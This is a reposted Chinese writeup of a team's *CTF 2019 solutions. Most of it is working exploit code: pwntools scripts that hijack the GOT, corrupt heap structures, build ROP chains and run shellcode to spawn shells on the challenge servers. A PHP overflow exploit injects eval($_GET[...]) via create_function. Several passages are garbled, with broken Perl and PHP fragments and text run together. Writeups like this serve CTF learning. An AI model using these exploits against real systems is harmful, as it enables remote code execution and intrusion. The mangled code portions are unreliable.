ROIS *CTF2019 Writeup

栏目: PHP · 发布时间: 5年前

内容简介:mywebsql 直接用admin / admin进后台,使用以下方式来GetShell。 https://nvd.nist.gov/vuln/detail/CVE-2019-7731 之后阻碍就是readflag,脚本处理。还是第一次看见readflag成为最大阻碍的CTF题……
Web

mywebsql 直接用admin / admin进后台,使用以下方式来GetShell。 https://nvd.nist.gov/vuln/detail/CVE-2019-7731 之后阻碍就是readflag,脚本处理。还是第一次看见readflag成为最大阻碍的CTF题……

;print STDOUT $reply; $reply = ;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = ;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;print STDOUT $reply;\\'').toString('utf-8'))`]:"bb", toHexString: 'aaa', length: 0, id: {length: 12}}) Echohub 首先先进行 PHP 解密,解密后的代码:0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0); function aslr(&$a, $O0O) { $a = $a + 0x60000000 + INS_OFFSET + 0x1; } $func_ = array_flip($func); array_walk($func_, 'aslr'); $plt = array_flip($func_); function handle_data($data) { $len = strlen($data); $a = $len / 0x4 + 0x1 * ($len % 0x4); $ret = str_split($data, 0x4); $ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "\x00"); foreach ($ret as $key => &$value) { $value = strrev(bin2hex($value)); } return $ret; } function gen_canary() { $canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $a = $canary[rand(0, strlen($canary) - 0x1)]; $b = $canary[rand(0, strlen($canary) - 0x1)]; $c = $canary[rand(0, strlen($canary) - 0x1)]; $d = "\x00"; return handle_data($a . $b . $c . $d)[0]; } $canary = gen_canary(); $canarycheck = $canary; function check_canary() { global $canary; global $canarycheck; if ($canary != $canarycheck) { die('emmmmmm...Don\'t attack me!'); } } class stack { private $ebp, $stack, $esp; public function __construct($a, $b) { $this->stack = array(); global $regs; $this->ebp =& $regs['ebp']; $this->esp =& $regs['esp']; $this->ebp = 0xfffe0000 + rand(0x0, 0xffff); global $canary; $this->stack[$this->ebp - 0x4] =& $canary; $this->stack[$this->ebp] = $this->ebp + rand(0x0, 0xffff); $this->esp = $this->ebp - rand(0x20, 0x60) * 0x4; $this->stack[$this->ebp + 0x4] = dechex($a); if ($b != NULL) { $this->pushdata($b); } } public function pushdata($data) { $data = handle_data($data); for ($i = 0; $i<count($data); $i++) { $this->stack[$this->esp + $i * 0x4] = $data[$i]; //no args in my stack haha check_canary(); } } public function recover_data($data) { return hex2bin(strrev($data)); } public function outputdata() { global $regs; echo 'root says: '; while (0x1) { if ($this->esp == $this->ebp - 0x4) { break; } $this->pop('eax'); $data = $this->recover_data($regs['eax']); $ret = explode("\x00", $data); echo $ret[0]; if (count($ret) > 0x1) { break; } } } public function ret() { $this->esp = $this->ebp; $this->pop('ebp'); $this->pop('eip'); $this->call(); } public function get_data_from_reg($item) { global $regs; $a = $this->recover_data($regs[$item]); $b = explode("\x00", $a); return $b[0]; } public function call() { global $regs; global $plt; $a = hexdec($regs['eip']); if (isset($_REQUEST[$a])) { $this->pop('eax'); $len = (int) $this->get_data_from_reg('eax'); $args = array(); for ($i = 0; $i<$len; $i++) { $this->pop('eax'); $data = $this->get_data_from_reg('eax'); array_push($args, $_REQUEST[$data]); } call_user_func_array($plt[$a], $args); } else { call_user_func($plt[$a]); } } public function push($item) { global $regs; $data = $regs[$item]; if (hex2bin(strrev($data)) == NULL) { die('data error'); } $this->stack[$this->esp] = $data; $this->esp -= 0x4; } public function pop($item) { global $regs; $regs[$item] = $this->stack[$this->esp]; $this->esp += 0x4; } public function __call($name, $args) { check_canary(); } } print_R('O0OO0'); print_R('stack'); if (isset($_POST['data'])) { $phpinfo_addr = array_search('phpinfo', $plt); $gets = $_POST['data']; $main_stack = new stack($phpinfo_addr, $gets); echo '--------------------output---------------------'; $main_stack->outputdata(); echo '------------------phpinfo()------------------'; $main_stack->ret(); } 一看是个栈溢出,还带ASLR和Canary。从执行点看,应该溢出到call_user_func_array。根据phpinfo禁用的函数+PHP 7.3的版本,基本只能使用create_function配合代码注入来进行任意代码执行。 代码注入:https://www.exploit-db.com/exploits/32417 disable_functions: file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv 溢出脚本如下,直接php -S来跑,将其作为代理来打服务器:0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0); function aslr(&$a, $O0O) { $a = $a + 0x60000000 + INS_OFFSET + 0x1; } $func = get_defined_functions()["internal"]; $func_ = array_flip($func); array_walk($func_, 'aslr'); $plt = array_flip($func_); //var_dump($plt); function handle_data($data) { $len = strlen($data); $a = $len / 0x4 + 0x1 * ($len % 0x4); $ret = str_split($data, 0x4); $ret[$a - 0x1] = str_pad($ret[$a - 0x1], 0x4, "\x00"); foreach ($ret as $key => &$value) { $value = strrev(bin2hex($value)); } return $ret; } function gen_canary() { $canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $a = $canary[rand(0, strlen($canary) - 0x1)]; $b = $canary[rand(0, strlen($canary) - 0x1)]; $c = $canary[rand(0, strlen($canary) - 0x1)]; $d = "\x00"; return handle_data($a . $b . $c . $d)[0]; } function recover_data($data) { return hex2bin(strrev($data)); } $canary = gen_canary(); $phpinfo_addr = array_search('phpinfo', $plt); $stack = array(); $ebp =& $regs['ebp']; $esp =& $regs['esp']; $rand1 = rand(0x0, 0xffff); $ebp = 0xfffe0000 + $rand1; $stack[$ebp - 0x4] =& $canary; $rand2 = rand(0x0, 0xffff); $stack[$ebp] = $ebp + $rand2; $rand3 = rand(0x20, 0x60); $esp = $ebp - $rand3 * 0x4; $stack[$ebp + 0x4] = dechex($phpinfo_addr); $post_data = str_repeat('aaaa', $rand3 - 1); // 填充到 canary 前一个空间 $post_data .= hex2bin(strrev($canary)); // 补上 canary $post_data .= 'Rebp'; // random ebp $bad_addr = array_search('create_function', $plt); $post_data .= recover_data(dechex($bad_addr)); // function addr $post_data .= "2\x00\x00\x00"; // create_function 需要两个参数 $post_data .= 'aaaa'; // 参数1 $post_data .= 'bbbb'; // 参数2 $post_data .= str_repeat('A', 400); $data = $bad_addr.'=1&data=' . urlencode($post_data); var_dump($data); function post($url, $data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $output = curl_exec($ch); curl_close($ch); return $output; } var_dump post('http://34.85.27.91:10080?cccc='.urlencode($_REQUEST['x']).'&xxxx='.urlencode($_REQUEST['a']).'&aaaa=&bbbb=1;}eval($_GET[cccc]);/*', $data)); 现在可以RCE了,但是绕不过disable_functions。此时看他Dockerfile和run.sh。 run.sh: #!/bin/sh service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity; Dockerfile: RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install 怎么说呢,其实有种强行出题的感觉。题目安装了所有PHP的扩展,自然也包括php7.3-fpm。在run.sh里还启用了所有服务,因此SSRF打fpm即可。 我们想让SSRF来帮我们跑:;print STDOUT $reply; $reply = ;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = ;print STDOUT $reply;print STDOUT $reply;$reply = ;print STDOUT $reply;$reply = ;print STDOUT $reply;\''); 先压缩一下:;print STDOUT $reply; $reply = ;print STDOUT $reply; my $answer = eval($reply);print in2 " $answer "; in2->flush();$reply = ;print STDOUT $reply;print STDOUT $reply;$reply = ;print STDOUT $reply;$reply = ;print STDOUT $reply;\'')); 然后丢进system:1 0 ^ 1 0 => 1 1 所以问题转化成如何使倒数第二位为1 这里采用的方式是 X Y & X Y | X Y 如果 Y 在运算后 依然为1, 则 X 必定为1. 写出流程 03 & 04 | 01 IF 13 False Jmp 7 00 True Save to out 05 ^ 33 JMP 4 02 POP 39 JMP 0 exp from pwn import * import re import hashlib from base64 import b64encode string.ascii_letters+string.digits def solve_pow(arg1, arg2): print (arg1, arg2) for i0 in string.ascii_letters+string.digits: for i1 in string.ascii_letters+string.digits: for i2 in string.ascii_letters+string.digits: for i3 in string.ascii_letters+string.digits: i = i0+i1+i2+i3 hash = hashlib.sha256() hash.update(str(i) + arg1.encode('utf-8')) tmp = hash.hexdigest() if tmp == arg2: print (str(i)) return str(i) p = remote("34.92.185.118","10002") data = p.recvuntil('Give me XXXX:') print(data) regex = r"\+(.*)\) == (.*)" test_str = data matches = re.finditer(regex, test_str, re.MULTILINE) for matchNum, match in enumerate(matches, start=1): p.sendline(solve_pow(match.group(1), match.group(2))) print(match.group(1), match.group(2)) print(p.recvuntil('opcode(hex):')) p.sendline('030401130005330239') print(p.recvline()) print(p.recvline()) print(p.recvline()) babyprng2 与第一题类似. 多了一个队列, 并且每次保存都会出栈, 不能像第一题无脑循环. 按 题1 思路, 依然是需要一个 1. 有以下循环 | 1 ? => 1 1 两次后可以得到 1 1 1 1 1 1 出 1 | 1 1 => 1 0 出 0 1 跳到第一步 最后payload为 01111206350606080306013606060803000400053a Misc She 使用cheat engine工具 修改存档打败boss后 9个房间每次开一个只能打开一个门,有一个bad door在touch后不能打开其他门,经测试在3号门得到数字3,在8号门得到数字7,在2号门得到数字1,在1号门得到数字2,在5号门得到数字6,在7号门得到数字9,9号门是bad door。剩下两个门打不开。得到六个数字后可进入一个房间,找到镜子。 人在镜子右边,说的是md5 decrypt 后来发现人站在镜子左边 镜子说的话又变了 猜测右边的是迷惑人的。 按得到的数字371269加密后发现不对,根据题目提示,Please combine numbers in the order of the rooms,改为213697进行md5加密,得到flag. otaku ichunqiu级别,无语凝噎。 binwalk -e直接解zip,把doc转docx接着解压提取出里面的隐藏字符,用GBK保存到文本文件。之后已知明文攻击提取密码My_Waifu,最后LSB隐写。 pwn quick sort 利用思路: gets覆盖ptr,导致任意写,修改free@got为main,将ptr修改为可泄露地址进行泄露,再次执行劫持atoi@got为system from pwn import * def main(): # gdb.attach(p,"b *0x080488ED") # set free --> main got_free = 0x804a018 main_addr = 0x80489C9 payload = str(main_addr) payload = payload.ljust(16,"\x00") payload += p32(1)+p32(0)*2+p32(got_free) p.recvuntil("how many numbers do you want to sort?") p.sendline("1") p.recvuntil("the 1th number:") p.sendline(payload) #leak libc stderr = 0x804a060 p.recvuntil("how many numbers do you want to sort?") p.sendline("2") p.recvuntil("the 1th number:") payload = "-"+str(0x7fffffff) payload = payload.ljust(16,"\x00") payload += p32(2)+p32(0)*2+p32(stderr-4) p.sendline(payload) p.recvuntil("the 2th number:") payload = "0" payload = payload.ljust(16,"\x00") payload += p32(2)+p32(11)*2+p32(stderr) p.sendline(payload) p.recvuntil("Here is the result:\n") libc_base = int(p.recvuntil(" ",drop=True))+0x100000000-0x1b2cc0 info("libc : " + hex(libc_base)) #atoi --> system p.recvuntil("how many numbers do you want to sort?") p.sendline("1") p.recvuntil("the 1th number:") payload = str(libc.symbols["system"]+libc_base-0x100000000) payload = payload.ljust(16,"\x00") payload += p32(1)+p32(0)*2+p32(elf.got["atoi"]) p.sendline(payload) p.recvuntil("how many numbers do you want to sort?") p.sendline("1") p.recvuntil("the 1th number:") p.sendline("/bin/sh") p.interactive() if __name__ == "__main__": # p = process("./quicksort",env={"LD_PRELOAD":"./libc.so.6"}) p = remote("34.92.96.238","10000") # p = process("./quicksort") elf = ELF("./quicksort") libc = ELF("./libc.so.6") main() grilfriend #coding:utf-8 from pwn import * # context.log_level = 'debug' local = 0 libc_path = "./lib/libc.so.6" if local: p = process("./chall_patch",env={"LD_PRELOAD":libc_path}) context.binary = "./chall_patch" elf = context.binary libc = elf.libc else: p = remote("34.92.96.238", 10001) libc = ELF(libc_path) def new(size,content): p.sendlineafter("Input your choice:",'1') p.recvuntil("name\n") p.sendline(str(size)) p.recvuntil("name:\n") p.sendline(content) p.recvuntil("call:\n") p.sendline('0'*11) def show(index): p.recvuntil("choice:") p.sendline('2') p.recvuntil("index:\n") p.sendline(str(index)) def delete(index): p.recvuntil("choice:") p.sendline('4') p.recvuntil("index:\n") p.sendline(str(index)) chunk_list = 0x202060 new(0x500,'a'*8) new(0x60,'b'*8) new(0x60,'b'*8) new(0x60,'b'*8) new(0x60,'b'*8) delete(0) show(0) libc_base = (u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"\x00"))) - 0x3b1ca0 success("libc_base->{:#x}".format(libc_base)) delete(1) delete(3) show(3) heap_base = u64(p.recvuntil("phone:",drop=True)[-7:-1].ljust(8,"\x00")) - 0x7b0 success("heap_base->{:#x}".format(heap_base)) for i in range(10): new(0x68,'a'*8) for i in range(10): delete(i+4) delete(12) #------------- for i in range(7): new(0x68,'a') new(0x68,p64(libc_base + 0x3b38c8)) ##free_hook new(0x68,"/bin/sh\x00") new(0x68,p64(libc_base + 0x41c30)) ## system # gdb.attach(p,'''b malloc\nb free\nb* $0xF87''') new(0x68, p64(libc_base + 0x41c30)) delete(13) p.interactive() upxofcpp 思路 upx加壳,主程序空间可读可写可执行 free的时候没有清空指针 node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode from pwn import * context.update(os='linux', arch='amd64') # p = process('./upxofcpp',env = {'LD_PRELOAD':'./libc-2.23.so'}) p = remote('34.92.121.149', 10000) def new(idx,size,intg): string = '' p.sendlineafter('Your choice:','1') p.sendlineafter('Index:',str(idx)) p.sendlineafter('Size:',str(size)) for i in range(size): string += str(intg)+'\n' print string p.sendafter('Input '+str(size)+' integers, -1 to stop:',string) def free(idx): p.sendlineafter('Your choice:','2') p.sendlineafter('vec index:',str(idx)) def show(idx): p.sendlineafter('Your choice:','4') p.sendlineafter('index:',str(idx)) new(0,2,2) p.sendlineafter('Your choice:','1') p.sendlineafter('Index:','1') p.sendlineafter('Size:',str(6)) ''' push rax pop rsi push rcx push rcx pop rax pop rdi syscall ''' payload = '0\n'*2 + str(0x51515e50)+'\n' + str(0x53415f58)+'\n' + str(0x00050f5a) +'\n' + str(0xdead)+'\n' p.sendafter('Input 6 integers, -1 to stop:',payload) new(2,2,2) free(1) new(3,8,2) free(0) # gdb.attach(p,'c\n') show(0) p.send('\x90'*0x90 + asm(shellcraft.sh())) p.interactive() heap_master 注意 libc是2.25的 远程没有bin目录,只能在程序内orw 利用思路 large bin attack 修改_IO_2_1_stdout_,导致泄露,之后再次large bin attack修改_IO_list_all获得一次任意地址call,从而将栈迁移到mmap的内存上,执行事先布置的ropchain from pwn import * context.update(os='linux', arch='amd64') def g(off): return libc.address + off def _add(p, size): p.sendlineafter('>> ', '1') p.sendlineafter('size: ', str(size)) def _edit(p, off, cont): p.sendlineafter('>> ', '2') p.sendlineafter('offset: ', str(off)) p.sendlineafter('size: ', str(len(cont))) p.sendafter('content: ', cont) def _del(p, off): p.sendlineafter('>> ', '3') p.sendlineafter('offset: ', str(off)) def exploit(host, port=60001): if host: p = remote(host, port) guess = 0x40 else: p = process('./heap_master', env={'LD_PRELOAD':libc_path}) gdb.attach(p, 'source ./gdb.script') guess = int(raw_input('guess?'), 0x10)<<4 # guess = 0x50 add = lambda x: _add(p, x) edit = lambda x,y: _edit(p, x, y) free = lambda x: _del(p, x) stdout = ((guess|6)<<8)# + 0x20 offset = 0x8800-0x7A0 edit(offset+8, p64(0x331)) #p1 edit(offset+8+0x330, p64(0x31)) edit(offset+8+0x360, p64(0x411)) #p2 edit(offset+8+0x360+0x410, p64(0x31)) edit(offset+8+0x360+0x440, p64(0x411)) #p3 edit(offset+8+0x360+0x440+0x410, p64(0x31)) edit(offset+8+0x360+0x440+0x440, p64(0x31)) free(offset+0x10) #p1 free(offset+0x10+0x360) #p2 add(0x90) edit(offset+8+0x360, p64(0x101)*3) edit(offset+8+0x460, p64(0x101)*3) edit(offset+8+0x560, p64(0x101)*3) free(offset+0x10+0x370) add(0x90) free(offset+0x10+0x360) add(0x90) edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk edit(offset+8+0x360+0x18, p64(0) + p16(stdout)) #p2->bk_nextsize free(offset+0x10+0x360+0x440) #p3 add(0x90) p.recv(0x10) heap = u64(p.recv(8)) - 0x83c0 info('heap @ '+hex(heap)) libc.address = u64(p.recv(8)) - 0x39e5f0# + 0x1fe0 info('libc.address @ '+hex(libc.address)) # yet another large bin attack offset = 0x100 edit(offset+8, p64(0x331)) #p1 edit(offset+8+0x330, p64(0x31)) edit(offset+8+0x360, p64(0x511)) #p2 edit(offset+8+0x360+0x510, p64(0x31)) edit(offset+8+0x360+0x540, p64(0x511)) #p3 edit(offset+8+0x360+0x540+0x510, p64(0x31)) edit(offset+8+0x360+0x540+0x540, p64(0x31)) free(offset+0x10) #p1 free(offset+0x10+0x360) #p2 add(0x90) edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20)) free(offset+0x10+0x360+0x540) #p3 add(0x200) # trigger on exit() pp_j = g(0x10fa54) # pop rbx ; pop rbp ; jmp rcx p_rsp_r = g(0x3870) # pop rsp ; ret p_rsp_r13_r = g(0x1fd94) # pop rsp ; pop r13 ; ret p_rdi_r = g(0x1feea) # pop rdi ; ret p_rdx_rsi_r = g(0xf9619) # pop rdx ; pop rsi ; ret fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r) _IO_str_jump = p64(libc.address + 0x39A500) orw = [ p_rdi_r, heap, p_rdx_rsi_r, 0, 0, libc.sym['open'], p_rdi_r, 3, p_rdx_rsi_r, 0x100, heap+0x1337, libc.sym['read'], p_rdi_r, 1, p_rdx_rsi_r, 0x100, heap+0x1337, libc.sym['write'], ] edit(0, './flag\x00\x00' + flat(orw)) edit(offset+0x360+0x540, fake_IO_strfile) edit(offset+0x360+0x540+0xD8, _IO_str_jump) edit(offset+0x360+0x540+0xE0, p64(pp_j)) info('b *'+hex(pp_j)) p.sendlineafter('>> ', '0') p.interactive() if __name__ == '__main__': libc_path = './lib/libc.so.6' libc = ELF(libc_path) exploit(args['REMOTE']) blindpwn BROP 溢出偏移是40 爆破可用的gadget from pwn import * # context.log_level = 'debug' padding = "a"*40 def find_gadget(addr): fd = open("gadget.txt",'a') fd.write(hex(addr)+'\n') fd.close() for addr in range(0x400000,0x401AA0,0x1): p = remote("34.92.37.22",10000) p.recvuntil("pwn!\n") passwd = padding + p64(addr) log.info("now addr is " + hex(addr)) p.sendline(passwd) try: msg = p.recvrepeat(9) if(msg!= ""): log.success("find addr" + hex(addr)) print msg find_gadget(addr) addrs.append(addr) p.close() except EOFError as e: p.close() log.info("connection close at " + hex(addr)) print addrs leak 脚本↓ from pwn import * context.update(os='linux', arch='amd64') def leak(off): p = remote('34.92.37.22', 10000) rop = [ p_rdi_r, 0, p_rsi_r13_r, 0x400000+off, 0, 0x400515, ] p.sendafter('pwn!\n', 'A'*40 + flat(rop)) data = p.recv(0x100) p.close() return data if __name__ == '__main__': p_rdi_r = 0x40077a+9 p_rsi_r13_r = 0x40077a+7 for x in xrange(0, 0x1000, 0x100): fp = open('blind', 'a') fp.write(leak(x)) fp.close() 拿到elf文件之后,直接找到几个可用的gadgets进行利用 from pwn import * context.update(os='linux', arch='amd64') def v(x): return x+0x400000 def exploit(host='34.92.37.22', port=10000): p = remote(host, port) rop = [ p_rdi_r, 1, p_rsi_r15_r, 0x601018, 0, write_plt, p_rdi_r, 0, p_rsi_r15_r, 0x601030, 0, read_plt, p_rdi_r, 0x601038, v(0x550), ] p.sendafter('pwn!\n', 'A'*40 + flat(rop)) write = u64(p.recv(8)) setbuf = u64(p.recv(8)) read = u64(p.recv(8)) __libc_start_main = u64(p.recv(8)) libc.address = read - libc.sym['read'] info('libc @'+hex(libc.address)) p.send(p64(libc.sym['system']) + '/bin/sh\x00') p.sendline('cat flag') p.interactive() if __name__ == '__main__': libc = ELF('./libc6_2.23-0ubuntu11_amd64.so') write_plt = v(0x520) read_plt = v(0x540) p_rdi_r = v(0x783) p_rsi_r15_r = v(0x781) exploit() # *CTF{Qri2H5GjeaO1E9Jg6dmwcUvSLX8RxpI7} babyshell from pwn import * context.update(os='linux', arch='amd64') def exploit(host, port=10002): if host: p = remote(host, port) else: p = process('./shellcode') gdb.attach(p, ''' b *0x00000000004008CB c ''') sc = asm(''' pop rdx pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi syscall ''') p.sendafter('plz:', sc) p.send('\x90'*0x100 + asm(shellcraft.sh())) p.interactive() if __name__ == '__main__': exploit(args['REMOTE']) # *CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy} RE fanoGo 程序逻辑:以corpus.txt的内容作为table,要求将输入经过fano.(*Fano).Decode后等于 If you cannot read all your books...fondle them---peer into them, let them fall open where they will, read from the first sentence that arrests the eye, set them back on the shelves with your own hands, arrange them on your own plan so that you at least know where they are. Let them be your friends; let them, at any rate, be your acquaintances. 直接复用程序中的fano.(*Fano).Encode,将上面的数据编码得到密文 from pwn import * context.update(os='linux', arch='amd64') # p = process('./fanoGo') p = remote('34.92.37.22', 10001) ans = [ 0x82c2b7c2bec3602b, 0x2a87c25b95c389c2, 0x6fbdc35196c21369, 0x94c27492c35a2832, 0xa4c296c295c294c2, 0xb3c28ec3a3c28ac3, 0x46aec2bac2242424, 0x2332abc33cacc22b, 0xc3acc2b3c3b0c32a, 0xc26ba3c22c87c285, 0xc3a8c25c87c30fad, 0x12b9c3a1c3afc2b3, 0x91c2a6c272448ac3, 0x676451a7c3316d66, 0x5191c296c26b7578, 0x7b578ec3133ea7c3, 0xc311297f459dc247, 0x8ac259a7c3a1c395, 0xfb5c291c28cc206, 0xc38bc3bac28ec23a, 0x718ec2bcc3a8c3aa, 0x42b9c336326fbdc3, 0xc3792292c349a7c3, 0x6396c3795493c389, 0x6f23b3c396c31f6a, 0x76a8c394c23794c2, 0xadc23f7c8ec383c3, 0x7baac20c9fc2a0c3, 0x7eb0c3adc22683c3, 0x97f9dc247a5c33a, 0xafc2b0c24449a5c3, 0xbdc351508cc33a0f, 0x49272d8cc32c326f, 0xc2b3c3b0c32aa3c3, 0xc2b0c389c288c3ac, 0x4111299fc21c7e9d, 0xc288c3bcc2b5c347, 0xb8c2a2c3b0c3389a, 0x5092c315a9c3, ] # gdb.attach(p, ''' # b *0x000000000045C4F0 # # command # # set $rip=0x000000000045C970 # # fin # # end # c # ''') p.sendafter(':', flat(ans)[:0x136]) p.interactive() # *CTF{NUY4a3E5D9186hVzejoyItr7xHBcmOpv}

以上所述就是小编给大家介绍的《ROIS *CTF2019 Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Distributed Algorithms

Distributed Algorithms

Nancy A. Lynch / Morgan Kaufmann / 1996-3-15 / USD 155.00

In "Distributed Algorithms", Nancy Lynch provides a blueprint for designing, implementing, and analyzing distributed algorithms. She directs her book at a wide audience, including students, programmer......一起来看看 《Distributed Algorithms》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具